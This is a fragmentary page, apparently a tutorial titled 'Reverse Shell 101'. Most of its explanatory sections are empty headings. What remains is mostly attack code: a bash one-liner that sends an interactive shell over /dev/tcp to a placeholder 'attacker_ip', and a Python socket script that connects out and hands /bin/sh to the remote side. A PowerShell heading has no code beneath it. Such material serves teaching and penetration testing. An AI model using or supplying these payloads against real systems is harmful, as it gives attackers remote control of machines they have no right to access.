Reverse Shell 101
Understanding Reverse Shells
Setting Up a Basic Reverse Shell
bash -i >& /dev/tcp/attacker_ip/4444 0>&1Python Reverse Shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker_ip",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);PowerShell Reverse Shell
Real-World Application Scenarios


Conclusion
Last updated